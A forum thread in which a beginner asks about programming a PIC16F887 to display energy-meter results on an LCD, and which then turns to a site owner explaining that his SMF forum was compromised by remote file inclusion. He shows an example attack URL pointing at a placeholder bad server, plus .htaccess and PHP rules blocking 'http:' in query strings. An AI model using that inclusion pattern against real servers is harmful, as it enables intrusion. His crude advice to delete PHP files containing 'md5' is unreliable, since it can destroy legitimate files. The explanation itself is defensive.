PIC16F887 to display results on an LCD

Thread Starter

bocky

Joined Aug 26, 2008
2
I need to know how I can program a PIC16F887 to display results on an LCD!! What is asked is to convert the voltage and current input signals using ADC (By sampling) at 50 Hz and so the enegy meter will read out the power and Energy and dispaly result on LCD... I have no idea how to start!!!
 

Thread Starter

bocky

Joined Aug 26, 2008
2
oh I forgot, using Assembly language not C... I am new to Microprocessor Engineering and do not understand the it well, any advice?
 

SgtWookie

Joined Jul 17, 2007
22,230

kammenos

Joined Aug 3, 2008
127
I need to know how I can program a PIC16F887 to display results on an LCD!! What is asked is to convert the voltage and current input signals using ADC (By sampling) at 50 Hz and so the enegy meter will read out the power and Energy and dispaly result on LCD... I have no idea how to start!!!

My friend on this page is making a hybrid 3-way pc cooling system and if you read he uses this 16F887 pic to display on an 128X64 display. Here is the link.

http://pcbheaven.com/forum/index.php/topic,275.0.html

Maybe you can ask his routine or wait him to complete his project.
 

SgtWookie

Joined Jul 17, 2007
22,230
When I followed that link, AVG Free reported "Threat Detected! (path) script(1).js
Virus Identified Exploit
Detected on open."

Not certain if that is an error, or if the PCBHeaven board is infected with an exploitation javascript. Beware!
 

SgtWookie

Joined Jul 17, 2007
22,230
It's a script that is downloaded when you open the page.

Found this in the HTML source for the page:
src="http://pcbheaven.com/forum/Themes/default/script.js?fin11"

[eta] I have e-mailed administrator Kam with details, including a screen print of the exploit warning.

[eta] See the attached for the screen print that I e-mailed to Kam; it's extremely similar to the warning I received when I first clicked on your link.
 

Attachments

Last edited:
It's a script that is downloaded when you open the page.

Found this in the HTML source for the page:
src="http://pcbheaven.com/forum/Themes/default/script.js?fin11"

[eta] I have e-mailed administrator Kam with details, including a screen print of the exploit warning.

[eta] See the attached for the screen print that I e-mailed to Kam; it's extremely similar to the warning I received when I first clicked on your link.
SgtWookie

I really appreciate your concern about the attack i had. I mean to do no harm to noone and i did not have a clue for what was going on on my sever.

The forum i have install is from SFM and look here what has happen:
http://digg.com/security/Unbelievable_90_of_SMF_Forums_have_been_hacked_in_the_last_6_months
http://www.devside.net/blog/smf-exploit-like-phpbb-hack

It looks like that i am a victim myself.

If you run a server yourself @ home, then do the following to ensure that you have not been injected like me:

1. First of all run a scan... Use MORE THAN ONE ANTIVIRUS because i used norton and found nothing. btw: NORTON SUX IN ALL WAYS

2. Search for .htaccess files that you have not make, or check for changes on your .htaccess files. If something you find NOT done by you, you are proppably a victim.

I was hit by JS/Redirector.E Trojan and by exploit. The first one is almost harmless script that randomly will redirect you to a stupid page. The seccond one, that only AVG could detect (and clean) will make randomly IE to crash and firefox to malfunction in some scripts. NORTON I.S. DID NOT DETECT NONE OF THE ABOVE.

If you get hit by the JS/Redirection trojan, here is what you have to do:
1. Delete all .htaccess files NOT edited by you
2. The trojan is in a .js file usually named "check.js". delete it
3. Search for "md5" string in all php files and delete them
You should be clear by now.


How does an injection occure:
It is most possible that if you have just install php on apache server (as i do), you have leave enabled the query strings containing "http://". This means that if someone types:
http://pcbheaven.com/page.php?URL=http://www.TheBadServer.com/..../the_bad_page.php
then the code inside the_bad_page.php will be executed in your server.

This someone is not a person but a zombie that will check all posible ways to do this. And this bad page will just write a string somewhere in your pages. If the zombie finds this string inside your pages, this means that you are open wide for his injection.

Then, with a simple php script, it can write WHATEVER it want inside your web page and execute it. And i mean WHATEVER as for example it can create a new php file and run it.

That is what happened with me. And here is the good part. How to protect for further problems:

1. The simple fast way: edit (or create) the top level .htaccess and put the following lines:

RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /------------http----------- [F,NC]
RewriteRule http: /---------http----------- [F,NC]

If you get a configuration error from apache when you do this, it is most possible that you have not the RewriteEngine module enabled. Go in the apache configuration and anable it. This will solve the problem.

2. The hard way, only if you have no access to .htaccess files:
On each and every php page on your server, on the very first line, add the following code:

<?
Header("X-Powered-by: safe_http"); //Hide PHP-Version
if(preg_match("/http:/i", urldecode(getenv("REQUEST_URI").getenv("QUERY_STRING"))))
{
Header( "HTTP/1.1 503 Service Unavailable" );
exit;
}
?>

Both 1 and 2 will prevent query strings containing http://, preventing with this way any extra-server script execution.

I hope that i will save one more with this message. I will be very happy if someone informs me that this message helped him, it will be one victory against hacking.

I really had no intention to harm anyone. I would like to apologize if i have cause any problem with my injected server but i really had no clue.

Finally, i would like to inform you that my server is clean and safe. If you notice anything strange, please contact me. I will appreciate it the most.

The project you are looking is for my new server that will be my old laptop. I know that a laptop needs no more components for cooling, but hey, electronics is my hobby. I hope by this year i will have it running. Right now i am making the flow charts of operation. You may find my progress here:

http://pcbheaven.com/forum/index.php/topic,275.0.html

Thank you for your understanding,
Kind regards

Giorgos
PCBHeaven.com
 
Top